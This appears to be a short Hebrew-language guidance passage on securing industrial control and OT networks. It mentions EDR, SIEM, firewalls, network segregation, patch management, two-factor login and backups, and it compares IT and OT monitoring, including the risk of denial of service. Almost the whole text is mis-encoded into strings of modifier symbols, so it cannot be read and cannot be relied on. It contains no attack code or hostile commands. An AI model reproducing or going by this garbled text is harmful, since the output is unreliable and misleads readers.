7.  ˟˧˩˶ ˸ˮ˵˸ˢEDR  ˶ˣ˦˧ˮ ˟"˰ ˸ˣ˪˧˰˲) ˸ˣˬ˧˸˥ ˭ˣ˩ˡ˰˟ ˷˶ˡˮ ˣˮ˧˞ˣ ˫˧ˬˣ˧˞ ˰ˣˮˬ˪ˣ ˶˦ˮ˪ ˪˩ˣ˧ ˶˷˞

.(˸ˣˠˢˮ˸ˢ 
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8. :˸ˣ˥˲˪ ˪ˣ˪˩˧ ˶˷˞ ˶ˣ˟˧˥ˢ ˭˲ˣ˞ ˸˞ ˶˧ˡ˯ˬˢ ˪ˢˣˮ ˟˸˩˧ ,˵ˣ˥˶ˬ ˢ˩˧ˬ˸˟ ˨˶ˣ˴ ˫˧˧˵ˣ ˢˡ˧ˬ˟ 

¶ ˡˢ ˶ˣ˟˧˥-˥˞˪ ˵ˣˢ.˧ˮ˦˶˲ ˶ˣ˷˧˞ ˶ 

¶ .˭˷˯ˢ ˸˦˪˵ˢ 

¶ .˸ˣ˵˸ˮ˸ˢ ˪˰ ˥ˣˣ˧ˡ 

¶ .ˡ˟˪˟ ˨˩ ˸˟ˣ˦˪ ˡ˰ˣ˧ ˶˷˞ ˥˷˵ˣˬ ˧ˡˣ˰˧˧ ˟˷˥ˬˬ ˶ˣ˟˧˥ 

¶  ˫˰ ˢ˷˧ˠ ˸˶˵˟ ˫ˣ˧˵Two Factor ˭ˣˠ˶˞ˢ ˧"˰ ˸˪ˢˣˮˬˢ ˣˬ˴˰ ˟˷˥ˬ˪ 

¶ .ˢ˷˧ˠˢ ˸ˮ˸˧ˮ ˫ˢ˪ ˫˧˷ˮ˞ˢ ˸ˣˬ˩ ˸˪˟ˠˢ 

 

:˧˪˪˩ 

¶ ˫˧˟˷˥ˬ ˭˧˟) ˧˸˷˶ ˰ˡ˧ˬ ˪˟˵˪ ˪ˣ˩˧ ˶˷˞ ˧˸˟˩˷ ˭˧˟ ˶ˣ˦˧ˮ ˨˶˰ˬ ˫ˣ˧˵  ˶˵˟ ˶˵˟ / ˶˵˟ ˟˷˥ˬ /

˸ˣˮˣ˪˥ˢ ˸ˣ˩˶˰ˬ ˶ˣ˦˧ˮ ,('ˡ˩ˣ 

¶  ˟˧˩˶ ˶ˣ˟˧˥SIEM  ˢ˟˩˷˟4/5  ˪ˢˮˬ˪ ˢˮˣˬ˸ ˶˴˧˧ˣ (˸˧ˮˣˣ˧˩ ˡ˥ ˢ˶ˣ˴˟) ˫˧ˠˣ˪ˢ ˸˞ ˶ˣˠ˞˧ ˶˷˞

.˸ˣ˩˶˰ˬˢ ˯ˣ˦˞˦˯ ˸ˣˡˣ˞ ˪ˣ˰˲˸ˢ ˪ˢˮˬ˪ˣ ˰ˡ˧ˬˢ ˸˥˦˟˞ 

¶  ˧˟˧˩˶ ˸ˮ˵˸ˢFW .˸ˣˮˣ˷ˢ ˸ˣ˟˩˷ˢ ˭˧˟ 

¶ ˟˦˵˲˞ ˢ˪˧˰ˮ ˸˪˪ˣ˩ˢ ˭˵˸ˬ˪ ˸˧˯˧˲ ˢ˥˦˟˞ ˫ˣ˧˵ ˫˧˧˦ˮˣˣ˪˶ ˫˧ˮ˷˧˧˥ ,ˡ˵ˣˬ˪ ˸˶˟ˣ˥ˬˢ ˢ˵˰ˤ˞ ,˸˧˧

.˸ˣˬ˪˴ˬ ˨˶˰ˬˣ 

¶  ˰ˡ˧ˬ ˸˥˦˟˞ ˸ˣ˧ˮ˧ˡˬ ˸˶˧˴˧OT ˢ ˸˷˶ ˪˰ ˧˞˶˥˞ ˸˪˪ˣ˩ˢ-OT  ˸˞ ˫˷˧˧˪ ˪ˠˣ˯ˬˢ ˢ˶˟˥ˢ ˫˰˦ˬ

.˫˧˞˴ˬˬˢ 

¶  ˨˧˪ˢ˸PATCH MANAGEMENT .˸ˣˮˣ˷ˢ ˸ˣ˟˩˷˟ ˫˧˟˧˩˶ˢˬ ˡ˥˞ ˪˩˪ 

¶ .˧˲˧˪˥ ˶˸˞˟ ˧ˣ˟˧ˠˢ ˭ˣ˯˥˞ˣ ˫˧˶˵˟ˢˣ ˫˧˟˷˥ˬˢ ˪˪˩ ˧ˣ˟˧ˠ 

¶ ˧˲.˥˦˟ˣ˞ˬ ˥ˣ˸ 

¶ .(˭ˣ˯˞˪ ˶˟˧˧˯ ˰ˣ˶˞ ˭˧˟ ˪˧ˡ˟ˢ˪ ˷˧) ˶˟˧˧˯ ˰ˣ˶˞ ˣ˞ ˭ˣ˯˞ˬ ˸ˣ˷˷ˣ˞˸ˢˣ ˧ˣ˟˧ˠ ˸˧ˮ˩ˣ˸ ˸˰˧˟˵ 

¶ .˫˧˧˸˧˰ ˫˧ˮˣ˩˧˯ ˧˶˵˯ !˫˧˪˧ˠ˶˸ ,˫˧ˡ˟ˣ˰ ˸ˣ˰ˡˣˬ ,˸ˣ˶˷˩ˢ 
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˶ˣ˦˧ˮ ˸ˣ˩˶˰ˬ 

 ˸ˣ˸˷˶˟ ˶ˣ˦˧ˮICS  ˡ˥˞˟ ˣ˞ ˸˷˶˟ ˶˴ˣˣ˧ˢ˪ ˫˧˪ˣ˪˰ˢ ˫˧˪˞˧˴˦ˮˣ˲ˢ ˫˧˰ˣ˶˞ˢ ˸ˣ˟˩˷ ˪˪˩ ˸˞ ˪˧˩ˢ˪ ˟˧˧˥

˩˶ˬ .ˢ˧˟˧ 

 ˸˪˟˵ ˣ˶˷˲˞˧ ˶˷˞ ˸ˣ˧˴˪˶ˣ˵ ˸˶˧˴˧ˣ ˫˥ˣ˸˧ˮ ,˸ˣˮˣ˷ˢ ˸ˣ˩˶˰ˬ˟ ˫˧ˠˣ˪ ˸˶˧˴˧ ˟"˰ ˟ˣ˶˪ ˰˴˟˸˧ ˶ˣ˦˧ˮˢ

.ˢ˧˧˟˧˩˶˟ˣ ˸˷˶˟ ˫˧˰ˣ˶˞˪ ˸ˣ˰ˠˣˮˢ ˸ˣ˷ˡ˥ ˸ˣˮ˟ˣ˸ 

ˢ ˫˪ˣ˰ˬ ˸ˣ˶˩ˣˬˢ ˸ˣ˧˞ˮˣ˪˥ˢ ˶ˣ˦˧ˮˢ ˸ˣ˩˶˰ˬ ˡ˟˪ˬ-IT ˞˪ˣ ˫˧˷ˡ˥ ˫˧˪ˣ˵ˣ˦ˣ˶˲ ˪˷ ˧˸˷˶ ˶ˣ˦˧ˮ˟ ˷˶ˡ˧ˮ ,

˧ˠ˶" ˢ˥˦˟˞ ˧˟˧˩˶˪ ˫˧˶˩ˣˬ ˶ˣ˦˧ˮ ˧˟˧˩˶ ˪˷ (˸˧˪˞˶˷˧ ˢ˸˧˟˶ˬ) ˢ˷ˡ˥ ˢ˧˷˰˸ ˢˬ˵ ˨˩ˬ ˢ˞˴ˣ˸˩ ."˫˧˪

 ˪˞ ˸˧˪ˬ˶ˣˮ ˸ˣˠˢˮ˸ˢ ˥ˣ˸˧ˮˣ ˸˷˶˟ ˫˧˟˧˩˶ ˶ˣ˸˧˞ ˫˧˶˷˲˞ˬˢ (˵˶ ˞˪ ˨˞) ˧˟˧˯˲ ˶ˣ˦˧ˮ ˪˰ ˫˧˯˯ˣ˟ˬˢ

.ˢˬ˴˰ ˸˷˶˟ˣ ˢ˶˵˟ˢ ˧˟˧˩˶˟ ˸ˣ˧˪ˬˣˮ˞ ˪ˣˬ 

 

 ˸ˣ˸˷˶˟ ˣˬ˩ ˧˟˧˦˵˞ ˞˪ˣ ˧˟˧˯˲ ˢˬ˪ITˢ ˫˪ˣ˰˟ ˧˯˞ˠ˪ˢ ˸ˣ˸˷˶ ˸˧˟˶ˬ ?-OT  ˸ˣˮ˟) ˸ˣˮ˷˧20  ˢˮ˷

 ˸ˣ˶˷ ˸˰˧ˮˬ ˪˷ ˸˧˪˧˪˷ ˢ˰˲ˣ˸ ˶˴˧˧˪ ˢ˪ˣ˪˰ ˶˵˟ ˪ˣˬ ˫˧˦˶ˣ˲ ˸˵˧˶˯ ˞ˬˠˣˡ˪ ˧˩ ˷˷˥ ˫˧˧˵ˣ (˶˸ˣ˧ˣ

Denial Of Service  ˸ˣ˸˷˶˪ ˫˧˶˟ˣ˥ˬ ˸ˣ˧ˢ˪ ˣˮˮ˩ˣ˸ ˞˪˷ ˫˧˟˧˩˶˟ ˶˟ˣˡˬ ˭˩˷ ˢ˰ˣ˟˵ ˣ˞ ˸˧ˮˬˤ ˫˞

ˠ˪ ˢ˪ˣ˪˰ ˶ˣ˵ˬ˟ ˢˮˮ˩ˣ˸ ˢˮ˧˞˷ ˢ˪ˣ˰˲ ˪˩ˣ ˢ˶ˣ˟˰˸ ˸ˣˮˣˣˠˬ ˣ˞ ˸ˣ˟ˣ˶ˬ.˟˧˩˶ˢ ˸˯˧˶˵˪ ˫ˣ˶ 

 ˡ˥˞ ˡ˴ˬ ˶˸ˣ˧ ˫˧ˡ˧ˬ˰ ˣ˧ˢ˧ ˶˷˞ ˫˧˷ˡ˥ ˫˧˶˴ˣˬ ˸ˣ˥˸˲ˬˢ ˸ˣ˶˟˥ ˶˸ˣ˧ˣ ˶˸ˣ˧ ˫˧˞ˣ˶ ˣˮ˞ ˸˞ˤ ˫˰ ˡ˥˧

 ˸ˣ˪˧˰˲ ˸ˣ˶˴˧˧ˬ ˞˪ ˨˩˟ˣ ˸˷˶ˢ ˧˟˧˩˶ ˸ˣ˪˧˰˲ ˸˞ ˫˧˵˥ˬˢ ˶ˣ˦˧ˮ ˧˶˴ˣˬ ˸ˣ˶˴˧˧ˬˢ ˸ˣ˶˟˥ ˶˥˞ˢ ˡ˴ˬˢˣ

.˟˧˩˶ˢ ˪˷ ˢ˯˧˶˵ ˶˴˧˧˪ ˢ˪ˣ˪˰ ˶˷˞ ˢˠ˧˶˥ 






















